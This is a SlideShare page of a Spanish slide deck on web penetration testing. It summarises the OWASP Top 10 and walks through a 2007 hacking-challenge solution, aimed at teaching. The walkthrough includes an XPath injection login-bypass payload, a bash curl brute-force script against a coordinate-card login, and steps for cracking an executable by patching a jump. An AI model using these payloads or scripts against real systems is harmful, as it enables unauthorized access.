Cómo realizar un test de intrusión a una aplicación Web
Descargar como PPT, PDF0 recomendaciones1,516 vistas
El documento describe cómo realizar un test de intrusión a una aplicación web. Explica que existen más de 300 vulnerabilidades comunes y presenta las 10 más frecuentes, incluyendo inyección, ejecución de archivos maliciosos, filtraciones de información y autenticación débil. Además, proporciona consejos prácticos para identificar la plataforma web, encontrar páginas ocultas y probar posibles vulnerabilidades mediante la modificación de parámetros.
![1ª Parte: “Un enfoque práctico”
Introducción
[OWASP] - “There are at least 300 issues that affect the
overall security of a web application. These 300+ issues
are detailed in the OWASP Guide, which is essential
reading for anyone developing web applications today.“
Top 10 - Vulnerabilidades Web [ Fuente: OWASP / MITRE ]](https://image.slidesharecdn.com/webapphacking-130821124731-phpapp02/85/Como-realizar-un-test-de-intrusion-a-una-aplicacion-Web-2-320.jpg)
![A1 – Cross Site Scripting (XSS). XSS flaws occur whenever an application takes user supplied data and sends it to a web
browser without first validating or encoding that content. XSS allows attackers to execute script in the victim’s browser which can hijack
user sessions, deface web sites, possibly introduce worms, etc.
A2 – Injection Flaws. Injection flaws, particularly SQL injection, are common in web applications. Injection occurs when user-
supplied data is sent to an interpreter as part of a command or query. The attacker’s hostile data tricks the interpreter into executing
unintended commands or changing data.
A3 – Malicious File Execution. Code vulnerable to remote file inclusion (RFI) allows attackers to include hostile code and
data, resulting in devastating attacks, such as total server compromise. Malicious file execution attacks affect PHP, XML and any
framework which accepts filenames or files from users.
A4 – Insecure Direct Object Reference. A direct object reference occurs when a developer exposes a reference to an internal
implementation object, such as a file, directory, database record, or key, as a URL or form parameter. Attackers can manipulate those
references to access other objects without authorization.
A5 – Cross Site Request Forgery (CSRF). A CSRF attack forces a logged-on victim’s browser to send a pre-authenticated request to a
vulnerable web application, which then forces the victim’s browser to perform a hostile action to the benefit of the attacker. CSRF can be
as powerful as the web application that it attacks.
A6 – Information Leakage and Improper Error Handling. Applications can unintentionally leak information about their
configuration, internal workings, or violate privacy through a variety of application problems. Attackers use this weakness to steal
sensitive data or conduct more serious attacks.
A7 – Broken Authentication and Session Management. Account credentials and session tokens are often not properly protected.
Attackers compromise passwords, keys, or authentication tokens to assume other users’ identities.
A8 – Insecure Cryptographic Storage. Web applications rarely use cryptographic functions properly to protect data and credentials.
Attackers use weakly protected data to conduct identity theft and other crimes, such as credit card fraud.
A9 – Insecure Communications. Applications frequently fail to encrypt network traffic when it is necessary to protect sensitive
communications.
A10 – Failure to Restrict URL Access. Frequently, an application only protects sensitive functionality by preventing the display of
links or URLs to unauthorized users. Attackers can use this weakness to access and perform unauthorized operations by accessing those
URLs directly.
Seguridad Web
Top 10 – Vulnerabilidades Web [OWASP]](https://image.slidesharecdn.com/webapphacking-130821124731-phpapp02/85/Como-realizar-un-test-de-intrusion-a-una-aplicacion-Web-3-320.jpg)
![Solución al Reto #3
Identificando la plataforma / tecnología (I)
Método “manual”:
Puerto 80 (HTTP)
HTTP/1.0
HTTP/1.1 (añadir
cabecera “Host”)
Puerto 443 (HTTPS)
Cliente SSL +
Métodos HTTP
Identificación mediante HTTP 1.1
roman@jupiter:~$ telnet retohacking3.elladodelmal.com 80
Trying 80.81.106.148...
Connected to retohacking3.elladodelmal.com.
Escape character is '^]'.
HEAD / HTTP/1.1
Host: retohacking3.elladodelmal.com
HTTP/1.1 200 OK
Connection: Keep-Alive
Content-Length: 9099
Date: Mon, 17 Sep 2007 15:07:49 GMT
Content-Type: text/html; charset=utf-8
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Cache-Control: private
^]
telnet> quit
Connection closed.
roman@jupiter:~$
Identificación mediante HTTPS
roman@jupiter:~$ openssl s_client -quiet –connect
retohacking3.elladodelmal.com:443
…](https://image.slidesharecdn.com/webapphacking-130821124731-phpapp02/85/Como-realizar-un-test-de-intrusion-a-una-aplicacion-Web-5-320.jpg)
![Explotación
Dada la siguiente consulta Xpath:
Inyectamos:
La condición quedaría:
Solución al Reto #3
XPath Injection: Fundamentos
User: abc' or 1=1 or 'a'='b
Pass: k
username/text()=‘abc' or 1=1 or 'a'='b' and password/text()=‘k'
string(//user[username/text()=‘romansoft' and password/text()='!dSR']/uid/text())
Condición Qué devolverDónde buscar](https://image.slidesharecdn.com/webapphacking-130821124731-phpapp02/85/Como-realizar-un-test-de-intrusion-a-una-aplicacion-Web-13-320.jpg)
![Solución al Reto #3
Automatizamos el ataque…
Script de fuerza bruta
#!/bin/bash
# Reto III de elladodelmal.com. (c) RoMaNSoFt, 2007.
### Variables
postdata1='…&__VIEWSTATE=…&ctl00%24ContentPlaceHolder1%24txtEntrada=‘
postdata2='&ctl00%24ContentPlaceHolder1%24btEnviar=Enviar&…’
basefichero="brute“
cookies="cookies“
### Programa principal
c=0
for i in `seq 1 50000` ; do
echo -n " $i “
p=`printf "%03d" $c`
postdata="$postdata1$p$postdata2“
outfile="$basefichero""$i""_$p“
curl --silent --include --cookie "$cookies" --cookie-jar "$cookies"
"http://retohacking3.elladodelmal.com/banco/principal.aspx" --data "$postdata" > $outfile
c=$(($c+1))
if [ $c -gt 999 ] ; then
c=0
fi
Done](https://image.slidesharecdn.com/webapphacking-130821124731-phpapp02/85/Como-realizar-un-test-de-intrusion-a-una-aplicacion-Web-21-320.jpg)
![Solución al Reto #3
Si inspeccionamos los ficheros creados…
Casos 1 y 2: nos
pregunta por otra coord.
Caso 3: idem pero
además envía cabecera:
Set-Cookie:
.ASPXAUTHRETO=…
Caso 4: ¡Éxito! (18 minutos)
Casos posibles
[1] -rw-r--r-- 1 roman roman 12493 2007-09-23 20:41 brute1_000
[2] -rw-r--r-- 1 roman roman 12494 2007-09-23 20:42 brute54_053
[3] -rw-r--r-- 1 roman roman 12763 2007-09-23 20:53 brute737_736
[4] -rw-r--r-- 1 roman roman 418 2007-09-23 20:59 brute1148_147
Fichero “Brute1148_147”
HTTP/1.1 302 Found
Connection: Keep-Alive
Content-Length: 138
Date: Sun, 23 Sep 2007 18:59:32 GMT
Location: /banco/faseFinal.aspx
Content-Type: text/html; charset=utf-8
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Cache-Control: private
<html><head><title>Object
moved</title></head><body>
<h2>Object moved to <a
href="/banco/faseFinal.aspx">here</a>.</h2>
</body></html>](https://image.slidesharecdn.com/webapphacking-130821124731-phpapp02/85/Como-realizar-un-test-de-intrusion-a-una-aplicacion-Web-23-320.jpg)
Cómo realizar un test de intrusión a una aplicación Web
- 1. “Cómo realizar un test de intrusión a una aplicación Web” AdS. Eduardo Jalón Toala Internet Department Asegúrate de que está seguro
- 2. 1ª Parte: “Un enfoque práctico” Introducción [OWASP] - “There are at least 300 issues that affect the overall security of a web application. These 300+ issues are detailed in the OWASP Guide, which is essential reading for anyone developing web applications today.“ Top 10 - Vulnerabilidades Web [ Fuente: OWASP / MITRE ]
- 3. A1 – Cross Site Scripting (XSS). XSS flaws occur whenever an application takes user supplied data and sends it to a web browser without first validating or encoding that content. XSS allows attackers to execute script in the victim’s browser which can hijack user sessions, deface web sites, possibly introduce worms, etc. A2 – Injection Flaws. Injection flaws, particularly SQL injection, are common in web applications. Injection occurs when user- supplied data is sent to an interpreter as part of a command or query. The attacker’s hostile data tricks the interpreter into executing unintended commands or changing data. A3 – Malicious File Execution. Code vulnerable to remote file inclusion (RFI) allows attackers to include hostile code and data, resulting in devastating attacks, such as total server compromise. Malicious file execution attacks affect PHP, XML and any framework which accepts filenames or files from users. A4 – Insecure Direct Object Reference. A direct object reference occurs when a developer exposes a reference to an internal implementation object, such as a file, directory, database record, or key, as a URL or form parameter. Attackers can manipulate those references to access other objects without authorization. A5 – Cross Site Request Forgery (CSRF). A CSRF attack forces a logged-on victim’s browser to send a pre-authenticated request to a vulnerable web application, which then forces the victim’s browser to perform a hostile action to the benefit of the attacker. CSRF can be as powerful as the web application that it attacks. A6 – Information Leakage and Improper Error Handling. Applications can unintentionally leak information about their configuration, internal workings, or violate privacy through a variety of application problems. Attackers use this weakness to steal sensitive data or conduct more serious attacks. A7 – Broken Authentication and Session Management. Account credentials and session tokens are often not properly protected. Attackers compromise passwords, keys, or authentication tokens to assume other users’ identities. A8 – Insecure Cryptographic Storage. Web applications rarely use cryptographic functions properly to protect data and credentials. Attackers use weakly protected data to conduct identity theft and other crimes, such as credit card fraud. A9 – Insecure Communications. Applications frequently fail to encrypt network traffic when it is necessary to protect sensitive communications. A10 – Failure to Restrict URL Access. Frequently, an application only protects sensitive functionality by preventing the display of links or URLs to unauthorized users. Attackers can use this weakness to access and perform unauthorized operations by accessing those URLs directly. Seguridad Web Top 10 – Vulnerabilidades Web [OWASP]
- 4. Solución al Reto #3 Comienza la aventura Plug-in Firefox: “Header Spy”
- 5. Solución al Reto #3 Identificando la plataforma / tecnología (I) Método “manual”: Puerto 80 (HTTP) HTTP/1.0 HTTP/1.1 (añadir cabecera “Host”) Puerto 443 (HTTPS) Cliente SSL + Métodos HTTP Identificación mediante HTTP 1.1 roman@jupiter:~$ telnet retohacking3.elladodelmal.com 80 Trying 80.81.106.148... Connected to retohacking3.elladodelmal.com. Escape character is '^]'. HEAD / HTTP/1.1 Host: retohacking3.elladodelmal.com HTTP/1.1 200 OK Connection: Keep-Alive Content-Length: 9099 Date: Mon, 17 Sep 2007 15:07:49 GMT Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Cache-Control: private ^] telnet> quit Connection closed. roman@jupiter:~$ Identificación mediante HTTPS roman@jupiter:~$ openssl s_client -quiet –connect retohacking3.elladodelmal.com:443 …
- 6. Solución al Reto #3 Identificando la plataforma / tecnología (II) Método “automático”: cualquier herramienta que inspeccione cabeceras HTTP. Ej: “Header Spy” (Plug-in Firefox basado en “Live HTTP Headers”) Si las cabeceras mienten (banner “ofuscado”): HTTP Fingerprinting (ej: httprint) Netcraft Extensión de los ficheros (.aspx -> .NET) Otros: investigar autor reto (Google), ingeniería social, …
- 7. Solución al Reto #3 ¡Al ataque! (I) Lanzar scanner web (WebInspect, Acunetix, AppScan…) Pueden dar algunas ideas o descubrir bugs “sencillos” Caros y no siempre útiles. ¡No sustituyen a un pen-tester! User/pass por defecto (admin/admin, guest/guest, etc) Fuerza bruta (THC Hydra)
- 8. Solución al Reto #3 ¡Al ataque! (II) Páginas “escondidas” Ej: http://.../admin/ ó http://.../admin.aspx Herramienta: “pipper” Arrancar proxy tipo Paros o WebScarab Inspección de tráfico Modificar parámetros (cambiar “true” por “false” o al revés, etc.) Pruebas de inyección
- 9. Solución al Reto #3 ¡Al ataque! (III) Analizar fuentes HTML / CSS /JavaScript Autenticación en el lado de cliente Parámetros ocultos Comentarios …
- 10. Solución al Reto #3 Encontramos una pista…”XML Validation” Plug-in Firefox: JSView
- 11. Solución al Reto #3 Pista 1: “No siempre hay RDBMS” Las aplicaciones web necesitan guardar datos RDBMS (MySQL, MS-SQL, PostgreSQL, Oracle...) LDAP … XML Un ataque típico es la inyección: variar significado sentencia (en nuestro beneficio) SQL Injection LDAP Injection XPath Injection
- 12. Solución al Reto #3 ¿Qué es XPath? Aplicable a “bases de datos” XML Realmente no es más que un documento XML La información se guarda en nodos Los nodos se estructuran en forma de árbol “XML Path” (o simplemente “XPath”) es el lenguaje utilizado para acceder a la información de la DB Independiente de implementación (en SQL hay “dialectos”) No ACLs (en SQL hay permisos por tablas, columnas, etc)Base de datos XML <?xml version="1.0" encoding="ISO-8859-1"?> <users> <user> <username>romansoft</username> <password>!dSR</password> <uid>0</uid> </user> <user> <username>crg</username> <password>hax0r</password> <uid>31337</uid> </user> </users>
- 13. Explotación Dada la siguiente consulta Xpath: Inyectamos: La condición quedaría: Solución al Reto #3 XPath Injection: Fundamentos User: abc' or 1=1 or 'a'='b Pass: k username/text()=‘abc' or 1=1 or 'a'='b' and password/text()=‘k' string(//user[username/text()=‘romansoft' and password/text()='!dSR']/uid/text()) Condición Qué devolverDónde buscar
- 14. Solución al Reto #3 XPath Injection “Avanzado” y Soluciones Blind XPath Injection: Publicado por Amit Klein en 2004 Algoritmo que permite obtener bbdd XML completa utilizando XPath 1.0. Basado en el concepto de: “Booleanizacion”: reemplazar una petición cuyo resultado es una cadena o número por una serie de peticiones cuyo resultado es true/false (booleano) Implementó PoC pero no la liberó Soluciones: Filtrar comillas simples y dobles Sentencias parametrizadas (precompiladas)
- 15. Solución al Reto #3 Solución Fase 1
- 16. Solución al Reto #3 Fase 2: “La ciencia ha aprendido mediante Ensayo y Error”
- 17. Solución al Reto #3 Control de acceso por Tarjeta de Coordenadas (I) Si pudiéramos fijar nosotros la coordenada podríamos obtener la tarjeta de coordenadas completa con tan sólo 100.000 peticiones (máx.) mediante un ataque de fuerza bruta: Coordenada más alta es la 10-J (habría 100 coordenadas posibles) Cada coordenada son 3 dígitos (1000 valores posibles para cada coordenada)
- 18. Solución al Reto #3 Control de acceso por Tarjeta de Coordenadas (II) Pero lo anterior no es factible porque la coordenada la escoge el servidor aleatoriamente Por suerte, no necesitamos hallar la tarjeta completa :-). Basta con “adivinar” el valor de una coordenada cualquiera (1 posibilidad entre 1000) Por tanto, la fuerza bruta es factible.
- 19. Solución al Reto #3 Capturamos una petición cualquiera… (WebScarab)
- 20. Solución al Reto #3 Nos fijamos en las cookies… “ASP.NET_SessionId” se mantiene constante mientras la sesión no caduque “.ASPXAUTHRETO” cambia al poco tiempo Solución: curl --cookie --cookie-jar Fichero “cookies” # Netscape HTTP Cookie File # http://www.netscape.com/newsref/std/cookie_spec.html # This file was generated by libcurl! Edit at your own risk. retohacking3.elladodelmal.com FALSE / FALSE 0 .ASPXAUTHRETO BA8C218C366FEA5832CA128AB1F0B966F92DBAA8F2B342C4795334F2B093B9512DA0696306E 327CABE8AB78B5CB1AD3D60BBBA360B3BF5110E824A0556CA3005549015AF3FD47AAE27F1B 3A2B328975718D6EE8CEAA424523F0F855CD22F9C2D2177137A600ECDC674D2976A6AD8D19 3 retohacking3.elladodelmal.com FALSE / FALSE 0 ASP.NET_SessionId nmerrw55jaqkix45ihotf245
- 21. Solución al Reto #3 Automatizamos el ataque… Script de fuerza bruta #!/bin/bash # Reto III de elladodelmal.com. (c) RoMaNSoFt, 2007. ### Variables postdata1='…&__VIEWSTATE=…&ctl00%24ContentPlaceHolder1%24txtEntrada=‘ postdata2='&ctl00%24ContentPlaceHolder1%24btEnviar=Enviar&…’ basefichero="brute“ cookies="cookies“ ### Programa principal c=0 for i in `seq 1 50000` ; do echo -n " $i “ p=`printf "%03d" $c` postdata="$postdata1$p$postdata2“ outfile="$basefichero""$i""_$p“ curl --silent --include --cookie "$cookies" --cookie-jar "$cookies" "http://retohacking3.elladodelmal.com/banco/principal.aspx" --data "$postdata" > $outfile c=$(($c+1)) if [ $c -gt 999 ] ; then c=0 fi Done
- 22. Solución al Reto #3 ¿Qué hace el script anterior? Genera sucesivas peticiones HTTP (“curl”) rellenando el formulario de control de acceso de acuerdo a la captura anterior (WebScarab) Guarda el resultado de cada petición en distintos ficheros: “brute<i>_<j>” (ej: brute1002_33) i := número de petición/intento j := valor que se ha probado
- 23. Solución al Reto #3 Si inspeccionamos los ficheros creados… Casos 1 y 2: nos pregunta por otra coord. Caso 3: idem pero además envía cabecera: Set-Cookie: .ASPXAUTHRETO=… Caso 4: ¡Éxito! (18 minutos) Casos posibles [1] -rw-r--r-- 1 roman roman 12493 2007-09-23 20:41 brute1_000 [2] -rw-r--r-- 1 roman roman 12494 2007-09-23 20:42 brute54_053 [3] -rw-r--r-- 1 roman roman 12763 2007-09-23 20:53 brute737_736 [4] -rw-r--r-- 1 roman roman 418 2007-09-23 20:59 brute1148_147 Fichero “Brute1148_147” HTTP/1.1 302 Found Connection: Keep-Alive Content-Length: 138 Date: Sun, 23 Sep 2007 18:59:32 GMT Location: /banco/faseFinal.aspx Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Cache-Control: private <html><head><title>Object moved</title></head><body> <h2>Object moved to <a href="/banco/faseFinal.aspx">here</a>.</h2> </body></html>
- 24. Solución al Reto #3 Fase 3: “El hacking ha muerto”
- 25. Solución al Reto #3 El generador de códigos de activación Descargamos el fichero .zip y descomprimimos Contiene un ejecutable: “GeneradorCodigoActivac ion.exe”. Le pasamos AV (!!!) y después ejecutamos Pista 3: “El hacking ha muerto” Resulta evidente: este nivel se centra en el “cracking”
- 26. Solución al Reto #3 Analizamos el ejecutable con PEiD… Parece haber sido escrito directamente en ensamblador: MASM32 / TASM32 Lo cual facilitará la labor de “ingeniería inversa”
- 27. Solución al Reto #3 Nuestro plan… 1. Desensamblar y analizar el ejecutable 2. Buscar la rutina que muestra la ventana de “Datos Incorrectos” 3. Encontrar el punto desde el cual se llama a dicha rutina y … ¡Parchearlo!
- 28. Solución al Reto #3 Arrancamos nuestro debugger favorito: OllyDbg
- 29. Solución al Reto #3 Localizamos la rutina de “Datos Incorrectos” Llamada rutina validación de user/pass Salto condicional a rutina “Datos Incorrectos” Rutina “Datos Incorrectos”
- 30. Solución al Reto #3 Parcheamos el salto condicional hacia la rutina
- 31. Solución al Reto #3 El salto condicional queda sustituido por NOPs
- 32. Solución al Reto #3 Guardamos las modificaciones realizadas…
- 33. Solución al Reto #3 … y lo salvamos a un nuevo fichero (crackeado)
- 34. Solución al Reto #3 Probando nuestro ejecutable “crackeado” Escribimos un user/pass cualquiera. Ej: a/a Click en “Validar”. Vemos que el botón de “Generar código de activación” se activa Click en dicho botón y…
- 35. Solución al Reto #3 Obtenemos el código El usuario debe tener 5 caracteres mínimo. Lo intentamos de nuevo y… ¡El código es nuestro!
- 36. Solución al Reto #3 Introducimos el código y…
- 37. Solución al Reto #3 ¡Reto superado!
- 38. Solución al Reto #3 Ya para terminar… Conclusiones: ¿Metodología? OWASP, OSSTMM, ISSAF… pero al final… “Cada maestrillo tiene su librillo” Ingredientes para un buen “pen-tester”: 40% - Conocimientos “básicos” (tecnologías, protocolos, programación) 30% - Hacking “skills” (técnicas, vulnerabilidades, herramientas) 30% - Capacidad de análisis, improvisación, ingenio, creatividad y… ¡paciencia! ¿A que no era tan difícil? ;-)
- 39. Fin 1ª parte. ¿Preguntas? ¡Gracias!
- 40. Referencias (I) OWASP Top 10 2007 http://www.owasp.org/index.php/Top_10_2007 Solución Reto #3 http://www.rs-labs.com/papers/i64-retoIII-solve.txt An Introduction to HTTP fingerprinting http://net-square.com/httprint/httprint_paper.html Back|Track 2. Herramientas http://backtrack.offensive-security.com/index.php?title=Tools Netcraft http://netcraft.com/
- 41. Referencias (II) XPath injection in XML databases http://palisade.plynt.com/issues/2005Jul/xpath-injection/ Blind XPath Injection http://packetstormsecurity.org/papers/bypass/Blind_XPath_I njection_20040518.pdf Mitigating XPath Injection attacks in .NET http://www.tkachenko.com/blog/archives/000385.html PeID http://peid.has.it/ OllyDbg http://www.ollydbg.de/